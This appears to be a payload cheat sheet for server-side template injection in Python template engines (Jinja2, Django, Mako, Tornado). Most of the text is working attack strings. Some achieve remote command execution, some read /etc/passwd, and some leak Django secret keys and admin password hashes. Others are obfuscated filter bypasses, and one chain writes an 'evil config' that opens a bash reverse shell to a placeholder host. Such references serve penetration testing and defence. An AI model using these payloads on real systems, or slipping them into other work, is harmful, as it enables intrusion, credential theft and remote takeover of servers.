128 Payloads

Server Side Template Injection Payloads & Testing Methodology

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."

Server Side Template Injection - Python#

Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious input into a server-side template, causing arbitrary code execution on the server. In Python, SSTI can occur when using templating engines such as Jinja2, Mako, or Django templates, where user input is included in templates without proper sanitization.

Summary#

Templating Libraries#

Template NamePayload Format
Bottle{{ }}
Chameleon${ }
Cheetah${ }
Django{{ }}
Jinja2{{ }}
Mako${ }
Pystache{{ }}
Tornado{{ }}

Universal Payloads#

Generic code injection payloads work for many Python-based template engines, such as Bottle, Chameleon, Cheetah, Mako and Tornado.

To use these payloads, wrap them in the appropriate tag.

python4 lines
__include__("os").popen("id").read() # Rendered RCE
getattr("", "x" + __include__("os").popen("id").read()) # Error-Based RCE
1 / (__include__("os").popen("id")._proc.wait() == 0) # Boolean-Based RCE
__include__("os").popen("id && sleep 5").read() # Time-Based RCE

Django#

Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.

Django - Basic Injection#

python3 lines
{% csrf_token %} # Causes error with Jinja2
{{ 7*7 }}  # Error with Django Templates
ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r

Django - Cross-Site Scripting#

python2 lines
{{ '<script>alert(3)</script>' }}
{{ '<script>alert(3)</script>' | safe }}

Django - Debug Information Leak#

python1 line
{% debug %}

Django - Leaking App's Secret Key#

python1 line
{{ messages.storages.0.signer.key }}

Django - Admin Site URL leak#

python1 line
{% include 'admin/base.html' %}

Django - Admin Username And Password Hash Leak#

ps14 lines
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}

{% get_admin_log 10 as admin_log for_user user %}

---

Jinja2#

Official website

Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.

Jinja2 - Basic Injection#

python3 lines
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
{{config.items()}}

Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on a Flask application.

Jinja2 - Template Format#

python9 lines
{% extends "layout.html" %}
{% block body %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}

Jinja2 - Debug Statement#

If the Debug Extension is enabled, a {% debug %} tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.

python1 line
<pre>{% debug %}</pre>

Source: jinja.palletsprojects.com

Jinja2 - Dump All Used Classes#

python3 lines
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

Access __globals__ and __builtins__:

python1 line
{{ self.__init__.__globals__.__builtins__ }}

Jinja2 - Dump All Config Variables#

python4 lines
{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}

Jinja2 - Read Remote File#

python5 lines
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

Jinja2 - Write Into Remote File#

python1 line
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

Jinja2 - Remote Command Execution#

Listen for connection

bash1 line
nc -lnvp 8000

Jinja2 - Forcing Output On Blind RCE

You can import Flask functions to return an output from the vulnerable page.

py9 lines
{{
x.__init__.__builtins__.exec("from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):
    from flask import make_response
    r = make_response('Powned')
    return r
")
}}

Exploit The SSTI By Calling os.popen().read()

python1 line
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

But when __builtins__ is filtered, the following payloads are context-free, and do not require anything, except being in a jinja2 Template object:

python3 lines
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

We can use these shorter payloads from @podalirius_: python-vulnerabilities-code-execution-in-jinja-templates:

python3 lines
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Similar payloads could be used for Error-Based and Boolean-Based exploitation:

python2 lines
{{ cycler.__init__.__globals__.__builtins__.getattr("", "x" + cycler.__init__.__globals__.os.popen('id').read()) }} # Error-Based
{{ 1 / (cycler.__init__.__globals__.os.popen("id")._proc.wait() == 0) }} # Boolean-Based

With objectwalker we can find a path to the os module from lipsum. This is the shortest payload known to achieve RCE in a Jinja2 template:

python1 line
{{ lipsum.__globals__["os"].popen('id').read() }}

Exploit The SSTI By Calling subprocess.Popen

:warning: the number 396 will vary depending of the application.

python2 lines
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

Exploit The SSTI By Calling Popen Without Guessing The Offset

python1 line
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

Simple modification of the payload to clean up output and facilitate command input from @SecGus. In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)

python1 line
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

Exploit The SSTI By Writing An Evil Config File

python8 lines
# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Jinja2 - Remote Command Execution with Obfuscation#

Write the string: id using the index position of a known existing string (the index value may vary depending on the target): {{self.__init__.__globals__.__str__()[1786:1788]}}.

Execute the system command id:

python1 line
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.

Jinja2 - Filter Bypass#

python2 lines
request.__class__
request["__class__"]

Bypassing _

python7 lines
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}

Bypassing [ and ]

python3 lines
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

Bypassing |join

python1 line
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

Bypassing most common filters ('.','_','|join','',']','mro' and 'base') by [@SecGus:

python1 line
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

---

Tornado#

Universal payloads also work for Tornado.

Tornado - Basic Injection#

py2 lines
{{7*7}}
{{7*'7'}}

Tornado - Remote Command Execution#

py2 lines
{{os.system('whoami')}}
{%import os%}{{os.system('nslookup oastify.com')}}

---

Mako#

Universal payloads also work for Mako.

Official website

Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics.
python5 lines
<%
import os
x=os.popen('id').read()
%>
${x}

Mako - Remote Command Execution#

Any of these payloads allows direct access to the os module

python54 lines
${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}

PoC :

python2 lines
>>> print(Template("${self.module.cache.util.os}").render())
<module 'os' from '/usr/local/lib/python3.10/os.py'>

Mako - Remote Command Execution with Obfuscation#

In Mako, the following payload can be used to generates the string "id": ${str().join(chr(i)for(i)in[105,100])}.

Execute the system command id:

python1 line
${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}
python1 line
<%import os%>${os.popen(str().join(chr(i)for(i)in[105,100])).read()}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.

References#